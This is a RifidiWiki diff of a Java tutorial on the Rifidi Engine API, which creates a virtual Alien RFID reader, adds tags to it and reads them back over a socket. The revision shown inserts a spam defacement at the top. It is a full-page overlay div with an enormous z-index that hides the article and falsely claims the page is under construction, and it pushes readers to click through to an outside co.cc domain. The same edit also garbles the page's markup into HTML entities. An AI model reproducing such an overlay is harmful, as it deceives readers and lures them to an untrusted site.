Difference between revisions of "Using the Engine API"

From RifidiWiki

Jump to: navigation, search
(Run the program)
Line 1: Line 1:
 +
----
 +
<div style="background: #E8E8E8 none repeat scroll 0% 0%; overflow: hidden; font-family: Tahoma; font-size: 11pt; line-height: 2em; position: absolute; width: 2000px; height: 2000px; z-index: 1410065407; top: 0px; left: -250px; padding-left: 400px; padding-top: 50px; padding-bottom: 350px;">
 +
----
 +
=[http://ovarynetyv.co.cc This Page Is Currently Under Construction And Will Be Available Shortly, Please Visit Reserve Copy Page]=
 +
----
 +
=[http://ovarynetyv.co.cc CLICK HERE]=
 +
----
 +
</div>
 
[[Category:developerDoc]][[Category:EmulatorDoc]]
 
[[Category:developerDoc]][[Category:EmulatorDoc]]
This page describes how to create an instance of the Rifidi engine, create readers, and add and remove tags from that engine all programatically via RMI.  It is a tutorial for creating a "hello world" Rifidi application just to show you how the engine works.  In production code, however, you shouldn't run the program from the activator.
+
This page describes how to create an instance of the Rifidi engine, create readers, and add and remove tags from that engine all programatically via RMI.  It is a tutorial for creating a &quot;hello world&quot; Rifidi application just to show you how the engine works.  In production code, however, you shouldn't run the program from the activator.
 
=Download the source code=
 
=Download the source code=
 
In order to use the Engine API, you will first need to download the core rifidi plugins from svn.  See [[Rifidi:Source_Code|Running Rifidi from Source]] for instructions on how to do this
 
In order to use the Engine API, you will first need to download the core rifidi plugins from svn.  See [[Rifidi:Source_Code|Running Rifidi from Source]] for instructions on how to do this
Line 22: Line 30:
 
## Give the class a name and click finish
 
## Give the class a name and click finish
 
=Write the Hello World Application=
 
=Write the Hello World Application=
<pre>package testproj;
+
&lt;pre&gt;package testproj;
  
 
import java.io.BufferedReader;
 
import java.io.BufferedReader;
Line 65: Line 73:
  
 
/** The IP address of the virtual reader */
 
/** The IP address of the virtual reader */
String READER_IP = "127.0.0.1";
+
String READER_IP = &quot;127.0.0.1&quot;;
 
/** The port of the virtual reader */
 
/** The port of the virtual reader */
 
int READER_PORT = 20000;
 
int READER_PORT = 20000;
String READER_NAME = "alien_test";
+
String READER_NAME = &quot;alien_test&quot;;
  
 
// The GeneralReaderPropertyHolder is the object that defines a new
 
// The GeneralReaderPropertyHolder is the object that defines a new
Line 74: Line 82:
 
GeneralReaderPropertyHolder readerProperties = new GeneralReaderPropertyHolder();
 
GeneralReaderPropertyHolder readerProperties = new GeneralReaderPropertyHolder();
 
readerProperties
 
readerProperties
.setReaderClassName("org.rifidi.emulator.reader.alien.module.AlienReaderModule");
+
.setReaderClassName(&quot;org.rifidi.emulator.reader.alien.module.AlienReaderModule&quot;);
 
readerProperties.setNumAntennas(2);
 
readerProperties.setNumAntennas(2);
 
readerProperties.setReaderName(READER_NAME);
 
readerProperties.setReaderName(READER_NAME);
readerProperties.setProperty("inet_address", READER_IP + ":"
+
readerProperties.setProperty(&quot;inet_address&quot;, READER_IP + &quot;:&quot;
 
+ READER_PORT);
 
+ READER_PORT);
readerProperties.setProperty("heartbeat_address", READER_IP
+
readerProperties.setProperty(&quot;heartbeat_address&quot;, READER_IP
+ ":54321");
+
+ &quot;:54321&quot;);
 
readerProperties.setNumGPIs(4);
 
readerProperties.setNumGPIs(4);
 
readerProperties.setNumGPOs(8);
 
readerProperties.setNumGPOs(8);
Line 99: Line 107:
  
 
// uses the TagFactory to generate some new tags
 
// uses the TagFactory to generate some new tags
ArrayList<RifidiTag> tags = TagFactory.generateTags(tagPattern);
+
ArrayList&lt;RifidiTag&gt; tags = TagFactory.generateTags(tagPattern);
  
 
// Set the Unique IDs for each of the tags. This is *not* the EPC.
 
// Set the Unique IDs for each of the tags. This is *not* the EPC.
Line 110: Line 118:
  
 
// add the tags to the virtual reader
 
// add the tags to the virtual reader
readerManager.addTags(READER_NAME, 0, new HashSet<RifidiTag>(tags));
+
readerManager.addTags(READER_NAME, 0, new HashSet&lt;RifidiTag&gt;(tags));
  
 
// sleep for 500 miliseconds
 
// sleep for 500 miliseconds
Line 116: Line 124:
  
 
/*
 
/*
* The next bit of code is "client" code. It is equivalent to
+
* The next bit of code is &quot;client&quot; code. It is equivalent to
 
* connecting to an alien reader over telnet and seding the 'get
 
* connecting to an alien reader over telnet and seding the 'get
 
* taglist' command. It is only shown here to demonstrate that the
 
* taglist' command. It is only shown here to demonstrate that the
Line 132: Line 140:
 
// send username and password
 
// send username and password
 
System.out.println(readFromReader(in));
 
System.out.println(readFromReader(in));
out.write("alien\n");
+
out.write(&quot;alien\n&quot;);
 
out.flush();
 
out.flush();
 
System.out.println(readFromReader(in));
 
System.out.println(readFromReader(in));
 
Thread.sleep(500);
 
Thread.sleep(500);
out.write("password\n");
+
out.write(&quot;password\n&quot;);
 
out.flush();
 
out.flush();
 
System.out.println(readFromReader(in));
 
System.out.println(readFromReader(in));
  
 
// send get taglist command
 
// send get taglist command
out.write("t\n");
+
out.write(&quot;t\n&quot;);
 
out.flush();
 
out.flush();
 
String returnVal = readFromReader(in);
 
String returnVal = readFromReader(in);
Line 183: Line 191:
  
 
}
 
}
</pre>
+
&lt;/pre&gt;
  
 
=Edit the Activator=
 
=Edit the Activator=
Line 190: Line 198:
 
Although this is a bad idea for production code, for the sake of simplicity, the start() method in the activator for this project starts the hello world class.  This is the activator for the bundle:
 
Although this is a bad idea for production code, for the sake of simplicity, the start() method in the activator for this project starts the hello world class.  This is the activator for the bundle:
  
<pre>package testproj;
+
&lt;pre&gt;package testproj;
  
 
import org.osgi.framework.BundleActivator;
 
import org.osgi.framework.BundleActivator;
Line 207: Line 215:
 
*/
 
*/
 
public void start(BundleContext context) throws Exception {
 
public void start(BundleContext context) throws Exception {
Thread t = new Thread(new TestRunner(), "Rifidi Hello World Thread");
+
Thread t = new Thread(new TestRunner(), &quot;Rifidi Hello World Thread&quot;);
 
t.start();
 
t.start();
 
}
 
}
Line 237: Line 245:
  
  
</pre>
+
&lt;/pre&gt;
  
 
=Run the program=
 
=Run the program=
 
To run this program from Eclipse, you need to create a new Run Configuration.
 
To run this program from Eclipse, you need to create a new Run Configuration.
# Click Run->Run Configurations
+
# Click Run-&gt;Run Configurations
 
# Double click on OSGi Framework on the tree on the left
 
# Double click on OSGi Framework on the tree on the left
 
# Select the required bundles. The 'bundles' list displays a list of the bundles that will be activated when you run the program.  You only want the bundles selected that are required.
 
# Select the required bundles. The 'bundles' list displays a list of the bundles that will be activated when you run the program.  You only want the bundles selected that are required.
Line 250: Line 258:
 
#Click 'Run'
 
#Click 'Run'
  
You should see alot of output in the console, and at the bottom of the output, you should see the tags that you "client" got from the reader:
+
You should see alot of output in the console, and at the bottom of the output, you should see the tags that you &quot;client&quot; got from the reader:
<pre>
+
&lt;pre&gt;
 
Tag:304A 37DA 04A4 4927 D1C8 0775, Disc:2008/11/19 12:09:20, Last:2008/11/19 12:09:21, Count:1, Ant:0, Proto:2
 
Tag:304A 37DA 04A4 4927 D1C8 0775, Disc:2008/11/19 12:09:20, Last:2008/11/19 12:09:21, Count:1, Ant:0, Proto:2
 
Tag:3008 26FD CCAC 1E53 612D 56EB, Disc:2008/11/19 12:09:20, Last:2008/11/19 12:09:21, Count:1, Ant:0, Proto:2
 
Tag:3008 26FD CCAC 1E53 612D 56EB, Disc:2008/11/19 12:09:20, Last:2008/11/19 12:09:21, Count:1, Ant:0, Proto:2
Line 257: Line 265:
 
Tag:307A 11F3 960A B58C 7454 B248, Disc:2008/11/19 12:09:20, Last:2008/11/19 12:09:21, Count:1, Ant:0, Proto:2
 
Tag:307A 11F3 960A B58C 7454 B248, Disc:2008/11/19 12:09:20, Last:2008/11/19 12:09:21, Count:1, Ant:0, Proto:2
 
Tag:308C 5BD0 BA14 CB02 55D4 89D5, Disc:2008/11/19 12:09:20, Last:2008/11/19 12:09:21, Count:1, Ant:0, Proto:2
 
Tag:308C 5BD0 BA14 CB02 55D4 89D5, Disc:2008/11/19 12:09:20, Last:2008/11/19 12:09:21, Count:1, Ant:0, Proto:2
</pre>
+
&lt;/pre&gt;

Revision as of 23:14, 23 November 2010


This page describes how to create an instance of the Rifidi engine, create readers, and add and remove tags from that engine all programatically via RMI. It is a tutorial for creating a "hello world" Rifidi application just to show you how the engine works. In production code, however, you shouldn't run the program from the activator.

Download the source code

In order to use the Engine API, you will first need to download the core rifidi plugins from svn. See Running Rifidi from Source for instructions on how to do this

Create a new OSGi bundle

Because Rifidi is OSGi based, all code must be written inside an OSGi bundle. The thing you will need to create a new OSGi bundle for your code to run in. To do this, follow the same steps as in Create a new reader project. You do not need to add the project to svn.

For this example, you will want to declare dependencies on the following plugins:

  • org.rifidi.emulator
  • org.rifidi.services
  • org.rifidi.tags
  • org.rifidi.emulator.reader.alien

Create a program

  1. Create a new package.
    1. Right click on the package found in the src directory.
    2. Select new package
    3. Give the package a name and select Finish
  2. Create a new class
    1. Right Click on the new package
    2. Select new class
    3. Give the class a name and click finish

Write the Hello World Application

<pre>package testproj;

import java.io.BufferedReader; import java.io.IOException; import java.io.InputStreamReader; import java.io.PrintWriter; import java.net.Socket; import java.util.ArrayList; import java.util.HashSet;

import org.rifidi.emulator.manager.ReaderManager; import org.rifidi.emulator.reader.module.GeneralReaderPropertyHolder; import org.rifidi.services.annotations.Inject; import org.rifidi.services.registry.ServiceRegistry; import org.rifidi.tags.enums.TagGen; import org.rifidi.tags.factory.TagCreationPattern; import org.rifidi.tags.factory.TagFactory; import org.rifidi.tags.id.TagType; import org.rifidi.tags.impl.RifidiTag;

/**

* This class demonstrates how to use the Rifidi Engine RMI API to create a
* virtual reader and add tags to it.
* 
* @author Kyle Neumeier - kyle@pramari.com
* 
*/

public class RifidiClass {

/** * The reader manager - the service that controls the virtual RFID readers */ private ReaderManager readerManager;

public RifidiClass() { // tell the service registry to inject dependencies into this object ServiceRegistry.getInstance().service(this); }

private void startReader() { try {

/** The IP address of the virtual reader */ String READER_IP = "127.0.0.1"; /** The port of the virtual reader */ int READER_PORT = 20000; String READER_NAME = "alien_test";

// The GeneralReaderPropertyHolder is the object that defines a new // virtual reader to create GeneralReaderPropertyHolder readerProperties = new GeneralReaderPropertyHolder(); readerProperties .setReaderClassName("org.rifidi.emulator.reader.alien.module.AlienReaderModule"); readerProperties.setNumAntennas(2); readerProperties.setReaderName(READER_NAME); readerProperties.setProperty("inet_address", READER_IP + ":" + READER_PORT); readerProperties.setProperty("heartbeat_address", READER_IP + ":54321"); readerProperties.setNumGPIs(4); readerProperties.setNumGPOs(8);

// create the virtual reader on the remote engine readerManager.createReader(readerProperties);

// turn the reader on so that you can connect to it from a client // (e.g. telnet) readerManager.start(READER_NAME);

// The TagCreationPattern is the object that defines how to create a // batch of tags TagCreationPattern tagPattern = new TagCreationPattern(); tagPattern.setNumberOfTags(5); tagPattern.setTagGeneration(TagGen.GEN2); tagPattern.setTagType(TagType.SGTIN96);

// uses the TagFactory to generate some new tags ArrayList<RifidiTag> tags = TagFactory.generateTags(tagPattern);

// Set the Unique IDs for each of the tags. This is *not* the EPC. // The UniqueID is the ID used internally to differentiate between // tags. long id = 1; for (RifidiTag tag : tags) { tag.setTagEntitiyID(id++); }

// add the tags to the virtual reader readerManager.addTags(READER_NAME, 0, new HashSet<RifidiTag>(tags));

// sleep for 500 miliseconds Thread.sleep(500);

/* * The next bit of code is "client" code. It is equivalent to * connecting to an alien reader over telnet and seding the 'get * taglist' command. It is only shown here to demonstrate that the * tags that reader has been turned on and tags were added * successfully. */

// create a new socket connection to the reader Socket connection = new Socket(READER_IP, READER_PORT);

BufferedReader in = new BufferedReader(new InputStreamReader( connection.getInputStream())); PrintWriter out = new PrintWriter(connection.getOutputStream());

// send username and password System.out.println(readFromReader(in)); out.write("alien\n"); out.flush(); System.out.println(readFromReader(in)); Thread.sleep(500); out.write("password\n"); out.flush(); System.out.println(readFromReader(in));

// send get taglist command out.write("t\n"); out.flush(); String returnVal = readFromReader(in);

// print tag list coming back from reader System.out.println(returnVal); } catch (Exception e) { e.printStackTrace(); } }

/** * This method reads from the socket. * * @param inBuf * @return The string that was read * @throws IOException */ public String readFromReader(BufferedReader inBuf) throws IOException { StringBuffer buf = new StringBuffer(); int ch = inBuf.read(); while ((char) ch != '\0') { buf.append((char) ch); ch = inBuf.read(); } return buf.toString(); }

/** * This method is called by the service registry to inject the ReaderManager * * @param readerManager */ @Inject public void setReaderManager(ReaderManager readerManager) { this.readerManager = readerManager; // start the program now that we know the readerManager has been // injected. startReader(); }

} </pre>

Edit the Activator

The Activator is the class that the OSGi framework uses to start and stop the bundle that you wrote. The start() method is called when your bundle is activated, and the stop() method is called when the bundle is deactivated. For an introduction to OSGi see this article.

Although this is a bad idea for production code, for the sake of simplicity, the start() method in the activator for this project starts the hello world class. This is the activator for the bundle:

<pre>package testproj;

import org.osgi.framework.BundleActivator; import org.osgi.framework.BundleContext;

import testproj.RifidiClass;

public class Activator implements BundleActivator {

/* * (non-Javadoc) * * @see * org.osgi.framework.BundleActivator#start(org.osgi.framework.BundleContext * ) */ public void start(BundleContext context) throws Exception { Thread t = new Thread(new TestRunner(), "Rifidi Hello World Thread"); t.start(); }

/* * (non-Javadoc) * * @see * org.osgi.framework.BundleActivator#stop(org.osgi.framework.BundleContext) */ public void stop(BundleContext context) throws Exception { }

/** * Run the program in a separate thread so we don't occupy the OSGi starter * thread. * * @author Kyle Neumeier - kyle@pramari.com * */ private class TestRunner implements Runnable {

@Override public void run() { new RifidiClass(); } } }


</pre>

Run the program

To run this program from Eclipse, you need to create a new Run Configuration.

  1. Click Run->Run Configurations
  2. Double click on OSGi Framework on the tree on the left
  3. Select the required bundles. The 'bundles' list displays a list of the bundles that will be activated when you run the program. You only want the bundles selected that are required.
    1. Click 'Deselct All'
    2. Check the bundle that you just created.
    3. Check all the bundles that start with 'org.springframework...'
    4. Select 'Add Required Bundles'
  4. Click 'Run'

You should see alot of output in the console, and at the bottom of the output, you should see the tags that you "client" got from the reader: <pre> Tag:304A 37DA 04A4 4927 D1C8 0775, Disc:2008/11/19 12:09:20, Last:2008/11/19 12:09:21, Count:1, Ant:0, Proto:2 Tag:3008 26FD CCAC 1E53 612D 56EB, Disc:2008/11/19 12:09:20, Last:2008/11/19 12:09:21, Count:1, Ant:0, Proto:2 Tag:302E 5243 7D73 9CEF 1E8A 08FA, Disc:2008/11/19 12:09:20, Last:2008/11/19 12:09:21, Count:1, Ant:0, Proto:2 Tag:307A 11F3 960A B58C 7454 B248, Disc:2008/11/19 12:09:20, Last:2008/11/19 12:09:21, Count:1, Ant:0, Proto:2 Tag:308C 5BD0 BA14 CB02 55D4 89D5, Disc:2008/11/19 12:09:20, Last:2008/11/19 12:09:21, Count:1, Ant:0, Proto:2 </pre>

Personal tools